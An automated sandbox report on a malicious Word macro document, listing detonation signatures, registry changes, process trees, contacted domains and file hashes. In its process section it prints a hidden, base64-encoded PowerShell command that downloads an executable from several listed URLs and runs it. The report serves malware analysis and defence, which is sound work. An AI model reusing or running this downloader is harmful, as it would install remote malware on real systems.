Malware Analysis Report

2024-12-07 15:16

Sample ID 241113-1ss38atkgj
Target 770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217
SHA256 770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217
Tags
macro discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217

Threat Level: Known bad

The file 770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217 was found to be: Known bad.

Malicious Activity Summary

macro discovery execution

Process spawned unexpected child process

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Suspicious Office macro

Drops file in System32 directory

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 21:55

Signatures

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 21:55

Reported

2024-11-13 21:56

Platform

win7-20240729-en

Max time kernel

53s

Max time network

29s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{56F080E9-23A8-46C9-87D8-AEFFED616E83}\2.0\0 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\TypeLib\{56F080E9-23A8-46C9-87D8-AEFFED616E83}\2.0\HELPDIR C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{56F080E9-23A8-46C9-87D8-AEFFED616E83} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\TypeLib\{56F080E9-23A8-46C9-87D8-AEFFED616E83}\2.0\FLAGS C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==

Network

Country Destination Domain Proto
US 8.8.8.8:53 bepeterson.futurismdemo.com udp
US 169.48.75.46:80 bepeterson.futurismdemo.com tcp
US 8.8.8.8:53 www.gnc.happenizedev.com udp
US 8.8.8.8:53 odoo-accounting.com udp
US 104.21.38.27:80 odoo-accounting.com tcp
US 8.8.8.8:53 monoclepetes.com udp
US 162.241.24.68:80 monoclepetes.com tcp
US 162.241.24.68:443 monoclepetes.com tcp
US 162.241.24.68:443 monoclepetes.com tcp
US 8.8.8.8:53 bakestories.com udp
IN 103.159.84.68:80 bakestories.com tcp

Files

memory/2692-0-0x000000002FD91000-0x000000002FD92000-memory.dmp

memory/2692-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2692-2-0x0000000070DED000-0x0000000070DF8000-memory.dmp

memory/2692-5-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6D1C53B4.wmf

MD5 7726e852c7b5b2847d94dc2797fa4d75
SHA1 e2007ce11a27353dd2fe032173264cabeae5d892
SHA256 3fbe3f0cdd212b49d9aa797234ccf837feec21d9cdf6d04f328e57010fe5afdf
SHA512 f755bda66f4624ce6c8f504252fb5c27023fcf74df9bf625b209c6550e00aa6cb88ab9c00b3531e06b2b0b1555b95d880c68c8f1520f097c2bb4089371082d3f

memory/2692-14-0x0000000006200000-0x0000000006300000-memory.dmp

memory/2692-21-0x0000000006200000-0x0000000006300000-memory.dmp

memory/2692-24-0x0000000006200000-0x0000000006300000-memory.dmp

memory/2692-25-0x0000000006200000-0x0000000006300000-memory.dmp

memory/2624-31-0x000000001B7B0000-0x000000001BA92000-memory.dmp

memory/2624-32-0x0000000001E10000-0x0000000001E18000-memory.dmp

memory/2692-35-0x0000000070DED000-0x0000000070DF8000-memory.dmp

memory/2692-36-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

memory/2692-37-0x0000000006200000-0x0000000006300000-memory.dmp

memory/2692-38-0x0000000006200000-0x0000000006300000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 21:55

Reported

2024-11-13 21:56

Platform

win10v2004-20241007-en

Max time kernel

51s

Max time network

37s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1116 wrote to memory of 4088 N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE C:\Windows\splwow64.exe
PID 1116 wrote to memory of 4088 N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE C:\Windows\splwow64.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc" /o ""

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

